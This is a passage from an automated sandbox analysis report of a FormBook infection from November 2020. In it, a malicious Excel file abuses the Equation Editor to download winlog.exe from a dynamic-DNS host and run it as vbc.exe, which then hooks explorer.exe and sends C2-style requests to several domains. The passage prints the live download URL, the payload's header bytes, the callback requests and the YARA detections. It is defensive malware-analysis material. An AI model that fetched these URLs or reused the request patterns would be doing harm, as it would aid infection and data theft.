Nov 26, 2020 09:00:24.699531078 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699543953 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699568987 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699588060 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699606895 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699620962 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699644089 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699666977 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699687004 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699709892 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699718952 CET 49167 80 192.168.2.22 103.141.138.87

Nov 26, 2020 09:00:24.699724913 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699771881 CET 80 49167 103.141.138.87 192.168.2.22

Nov 26, 2020 09:00:24.699788094 CET 49167 80 192.168.2.22 103.141.138.87

Timestamp Source Port Dest Port Source IP Dest IP

UDP Packets
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 26, 2020 09:00:23.305349112 CET 52197 53 192.168.2.22 8.8.8.8

Nov 26, 2020 09:00:23.341093063 CET 53 52197 8.8.8.8 192.168.2.22

Nov 26, 2020 09:01:24.294477940 CET 53099 53 192.168.2.22 8.8.8.8

Nov 26, 2020 09:01:24.484945059 CET 53 53099 8.8.8.8 192.168.2.22

Nov 26, 2020 09:01:44.808792114 CET 52838 53 192.168.2.22 8.8.8.8

Nov 26, 2020 09:01:44.848503113 CET 53 52838 8.8.8.8 192.168.2.22

Nov 26, 2020 09:02:05.723607063 CET 61200 53 192.168.2.22 8.8.8.8

Nov 26, 2020 09:02:06.065185070 CET 53 61200 8.8.8.8 192.168.2.22

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 26, 2020 09:00:23.305349112 CET 192.168.2.22 8.8.8.8 0x7ddb Standard query 
(0)

wsdyneverw
alkachines
e2loneinli
fekwsfnv.ydns.eu

A (IP address) IN (0x0001)

Nov 26, 2020 09:01:24.294477940 CET 192.168.2.22 8.8.8.8 0xa14d Standard query 
(0)

www.lygosf
ilms.info

A (IP address) IN (0x0001)

Nov 26, 2020 09:01:44.808792114 CET 192.168.2.22 8.8.8.8 0x2e78 Standard query 
(0)

www.paletc
iniz.com

A (IP address) IN (0x0001)

Nov 26, 2020 09:02:05.723607063 CET 192.168.2.22 8.8.8.8 0x2f03 Standard query 
(0)

www.annaot
homas.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 26, 2020 
09:00:23.341093063 
CET

8.8.8.8 192.168.2.22 0x7ddb No error (0) wsdyneverw
alkachines
e2loneinli
fekwsfnv.ydns.eu

103.141.138.87 A (IP address) IN (0x0001)

Nov 26, 2020 
09:01:24.484945059 
CET

8.8.8.8 192.168.2.22 0xa14d No error (0) www.lygosf
ilms.info

lygosfilms.info CNAME 
(Canonical name)

IN (0x0001)

Nov 26, 2020 
09:01:24.484945059 
CET

8.8.8.8 192.168.2.22 0xa14d No error (0) lygosfilms.info 34.102.136.180 A (IP address) IN (0x0001)

Nov 26, 2020 
09:01:44.848503113 
CET

8.8.8.8 192.168.2.22 0x2e78 No error (0) www.paletc
iniz.com

paletciniz.com CNAME 
(Canonical name)

IN (0x0001)

Nov 26, 2020 
09:01:44.848503113 
CET

8.8.8.8 192.168.2.22 0x2e78 No error (0) paletciniz.com 160.153.138.53 A (IP address) IN (0x0001)

Nov 26, 2020 
09:02:06.065185070 
CET

8.8.8.8 192.168.2.22 0x2f03 No error (0) www.annaot
homas.com

104.164.99.242 A (IP address) IN (0x0001)

wsdyneverwalkachinese2loneinlifekwsfnv.ydns.eu
www.lygosfilms.info
www.paletciniz.com
www.annaothomas.com

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49167 103.141.138.87 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
09:00:23.581810951 CET

0 OUT GET /chnsfrnd2/winlog.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: wsdyneverwalkachinese2loneinlifekwsfnv.ydns.eu
Connection: Keep-Alive

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets
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Nov 26, 2020 
09:00:23.805932999 CET

2 IN HTTP/1.1 200 OK
Date: Thu, 26 Nov 2020 08:00:28 GMT
Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38
Last-Modified: Wed, 25 Nov 2020 21:20:21 GMT
ETag: "61800-5b4f4feb1ea84"
Accept-Ranges: bytes
Content-Length: 399360
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ea aa c2 b4 ae cb ac e7 ae cb ac e7 ae cb ac e7 b0 99 28 e7 b4 cb ac e7 b0 99 
39 e7 be cb ac e7 89 0d d7 e7 bf cb ac e7 ae cb ad e7 d8 cb ac e7 b0 99 2f e7 e7 cb ac e7 b0 99 38 e7 af cb ac e7 b0 99 
3d e7 af cb ac e7 52 69 63 68 ae cb ac e7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 4
5 00 00 4c 01 05 00 89 ca be 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 2a 01 00 00 f6 04 00 00 00 00 00 97 
35 00 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 
00 50 06 00 00 04 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 
00 00 00 00 00 00 00 00 00 14 61 01 00 b4 00 00 00 00 a0 04 00 a8 89 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 30 06 00 d0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 58 5c 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 29 01 00 00 10 00 00 00 2a 01 00 00 04 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 bc 2b 00 00 00 40 01 00 00 2c 00 00 00 2e 01 00 00 00 
00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 28 03 00 00 70 01 00 00 1e 03 00 00 5a 01 00 00 
00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 89 01 00 00 a0 04 00 00 8a 01 00 00 78 04 00 
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c2 14 00 00 00 30 06 00 00 16 00 00 00 02 06 0
0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(9/8=RichPEL_*5@@P@a0X\@@.text)* `.rdata+@
,.@@.data`(pZ@.rsrcx@@.reloc0@B

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49168 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
09:01:24.518790007 CET

419 OUT GET /ogg/?Xrx4lx8=o9DTWGgejQhFb0XDNKFr8x252gLWlqtFw+u/IiN1z9p9QWzZEqjsrtg5rynyb3VCEFeW0g==
&eny8V=8p-t_j0xRnOLT2 HTTP/1.1
Host: www.lygosfilms.info
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
09:01:24.634313107 CET

420 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Thu, 26 Nov 2020 08:01:24 GMT
Content-Type: text/html
Content-Length: 275
ETag: "5fb7c9ca-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49169 160.153.138.53 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data
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Code Manipulations

Nov 26, 2020 
09:01:44.896217108 CET

420 OUT GET /ogg/?Xrx4lx8=eztizZ8x7kSo9uOf28HhjptTcxlOOjaZfVOeHHhHD52pMpUKEpnrJtnkFIsv9WMMSpfKiA==&eny8V=8p-
t_j0xRnOLT2 HTTP/1.1
Host: www.paletciniz.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
09:01:45.518532038 CET

422 IN HTTP/1.1 404 Not Found
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=UTF-8
X-Cacheable: YES:Forced
Transfer-Encoding: chunked
Date: Thu, 26 Nov 2020 08:01:45 GMT
Age: 0
Connection: close
Vary: User-Agent
X-Cache: uncached
X-Cache-Hit: MISS
X-Backend: all_requests
Data Raw: 30 30 37 65 38 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 
74 72 22 3e 0a 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 
69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6
c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 
2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 53 61 79 66 61 20 62 75 6c 75 6e 61 
6d 61 64 c4 b1 20 26 23 38 32 31 31 3b 20 50 61 6c 65 74 63 69 6e 69 7a 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 
6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6
c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 
68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 
22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 50 61 6c 65 
74 63 69 6e 69 7a 2e 63 6f 6d 20 26 72 61 71 75 6f 3b 20 62 65 73 6c 65 6d 65 73 69 22 20 68 72 65 66 3d 22 68 74 74 70 
3a 2f 2f 77 77 77 2e 70 61 6c 65 74 63 69 6e 69 7a 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c
3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 
74 69 74 6c 65 3d 22 50 61 6c 65 74 63 69 6e 69 7a 2e 63 6f 6d 20 26 72 61 71 75 6f 3b 20 79 6f 72 75 6d 20 62 65 73 6c 
65 6d 65 73 69 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 70 61 6c 65 74 63 69 6e 69 7a 2e 63 6f 6d 2f 63 
6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 70 72 65 63 6f 6e 6e 65 63 74 27 
20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 73 65 72 76 65 72 63 64 6e 2e 6e 65 74 27 20 63 72 6f 73 
73 6f 72 69 67 69 6e 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 
2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 
65 73 65 72 76 65 72 63 64 6e 2e 6e 65 74 2f 31 36 30 2e 31 35 33 2e 31 33 38 2e 35 33 2f 6f 76 7a 2e 64 30 33 2e 6d 79 
66 74 70 75 70 6c 6f 61 64 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 
6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 35 2e 35 2e 33 26 23 30 33 38 3b 74 69 6d 
Data Ascii: 007e8a<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8"><meta name="viewport" content="wi
dth=device-width, initial-scale=1, minimum-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Sayfa bulun
amad &#8211; Paletciniz.com</title><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel='dns-prefetch' hre
f='//s.w.org' /><link rel="alternate" type="application/rss+xml" title="Paletciniz.com &raquo; beslemesi" href="http://w
ww.paletciniz.com/feed/" /><link rel="alternate" type="application/rss+xml" title="Paletciniz.com &raquo; yorum beslemesi" 
href="http://www.paletciniz.com/comments/feed/" /><link rel='preconnect' href='https://secureservercdn.net' crossorigin />
<link rel='stylesheet' id='wp-block-library-css'  href='https://secureservercdn.net/160.153.138.53/ovz.d03.myftpupl
oad.com/wp-includes/css/dist/block-library/style.min.css?ver=5.5.3&#038;tim

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.22 49170 104.164.99.242 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
09:02:06.235939980 CET

455 OUT GET /ogg/?Xrx4lx8=L5tkrd3+tAlV4v3imC1rTm4lbmURrJu8I1nhE3bKvhdVz9gPESQ8tOxzxkSNJHyX8NnBHA==
&eny8V=8p-t_j0xRnOLT2 HTTP/1.1
Host: www.annaothomas.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
09:02:06.403984070 CET

456 IN HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Server: Nginx Microsoft-HTTPAPI/2.0
X-Powered-By: Nginx
Date: Thu, 26 Nov 2020 08:02:17 GMT
Connection: close
Data Raw: 33 0d 0a ef bb bf 0d 0a 
Data Ascii: 3
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Statistics

Behavior

• EXCEL.EXE

• EQNEDT32.EXE

• vbc.exe

• vbc.exe

• explorer.exe

• wscript.exe

• cmd.exe

Click to jump to process

System Behavior

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

Function Name Hook Type New Data

PeekMessageA INLINE 0x48 0x8B 0xB8 0x8F 0xFE 0xE6 

PeekMessageW INLINE 0x48 0x8B 0xB8 0x87 0x7E 0xE6 

GetMessageW INLINE 0x48 0x8B 0xB8 0x87 0x7E 0xE6 

GetMessageA INLINE 0x48 0x8B 0xB8 0x8F 0xFE 0xE6 

Start time: 08:59:57

Start date: 26/11/2020

Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding

Imagebase: 0x13ff30000

File size: 27641504 bytes

MD5 hash: 5FB0A0F93382ECD19F5F499A5CAA59F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

User Modules

Hook Summary

Processes

Process: explorer.exe, Module: USER32.dll

Analysis Process: EXCEL.EXE PID: 2248 Parent PID: 584Analysis Process: EXCEL.EXE PID: 2248 Parent PID: 584

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

Old File Path New File Path Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\Users\user\Desktop\~$PI202009255687.xlsx unknown 55 05 41 6c 62 75 73 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 

.user                                                 success or wait 1 14017F526 WriteFile

C:\Users\user\Desktop\~$PI202009255687.xlsx unknown 110 05 00 41 00 6c 00 62 
00 75 00 73 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 

..A.l.b.u.s. . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . .

success or wait 1 14017F591 WriteFile

C:\Users\user\Desktop\~$PI202009255687.xlsx unknown 55 05 41 6c 62 75 73 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 

.user                                                 success or wait 1 14017F526 WriteFile

C:\Users\user\Desktop\~$PI202009255687.xlsx unknown 110 05 00 41 00 6c 00 62 
00 75 00 73 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 

..A.l.b.u.s. . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . .

success or wait 1 14017F591 WriteFile

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems success or wait 1 7FEEAC59AC0 unknown

Key Path Name Type Data Completion Count
Source
Address Symbol

File WrittenFile Written

Key CreatedKey Created

Key Value CreatedKey Value Created
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HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resiliency\StartupItems

t%8 binary 74 25 38 00 C8 08 00 00 02 00 00 00 
00 00 00 00 52 00 00 00 01 00 00 00 
28 00 00 00 1E 00 00 00 70 00 69 00 
32 00 30 00 32 00 30 00 30 00 39 00 
32 00 35 00 35 00 36 00 38 00 37 00 
2E 00 78 00 6C 00 73 00 78 00 00 00 
70 00 69 00 32 00 30 00 32 00 30 00 
30 00 39 00 32 00 35 00 35 00 36 00 
38 00 37 00 00 00 

success or wait 1 7FEEAC59AC0 unknown

Key Path Name Type Data Completion Count
Source
Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 09:00:17

Start date: 26/11/2020

Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AEC8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor success or wait 1 41369F RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0 success or wait 1 41369F RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0\Options success or wait 1 41369F RegCreateKeyExA

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

Start time: 09:00:20

Start date: 26/11/2020

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\Public\vbc.exe' 

Analysis Process: EQNEDT32.EXE PID: 2736 Parent PID: 584Analysis Process: EQNEDT32.EXE PID: 2736 Parent PID: 584

General

Key CreatedKey Created

Analysis Process: vbc.exe PID: 2816 Parent PID: 2736Analysis Process: vbc.exe PID: 2816 Parent PID: 2736

General

Copyright null 2020 Page 31 of 35



File ActivitiesFile Activities

Imagebase: 0xe90000

File size: 399360 bytes

MD5 hash: E54D832CB872B7DC086AB7A7878D38FB

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.2179579442.0000000000EA8000.00000004.00020000.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000002.2179579442.0000000000EA8000.00000004.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.2179579442.0000000000EA8000.00000004.00020000.sdmp, 
Author: JPCERT/CC Incident Response Group

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 31%, ReversingLabs

Reputation: low

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 A06B1 ReadFile

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 A06B1 ReadFile

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 A06B1 ReadFile

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 A06B1 ReadFile

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 A06B1 ReadFile

C:\Windows\SysWOW64\ntdll.dll unknown 1314112 success or wait 1 A06B1 ReadFile

Start time: 09:00:21

Start date: 26/11/2020

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: C:\Users\Public\vbc.exe

Imagebase: 0xe90000

File size: 399360 bytes

MD5 hash: E54D832CB872B7DC086AB7A7878D38FB

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File ReadFile Read

Analysis Process: vbc.exe PID: 2484 Parent PID: 2816Analysis Process: vbc.exe PID: 2484 Parent PID: 2816

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.2215222613.0000000000170000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000002.2215222613.0000000000170000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.2215222613.0000000000170000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.2215291644.00000000002B0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000002.2215291644.00000000002B0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.2215291644.00000000002B0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.2215328255.0000000000400000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000002.2215328255.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.2215328255.0000000000400000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group

Reputation: low

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1314112 success or wait 1 419E57 NtReadFile

File ActivitiesFile Activities

Start time: 09:00:24

Start date: 26/11/2020

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0xffca0000

File size: 3229696 bytes

MD5 hash: 38AE1B3C38FAEF56FE4907922F0385BA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Path Offset Length Completion Count
Source
Address Symbol

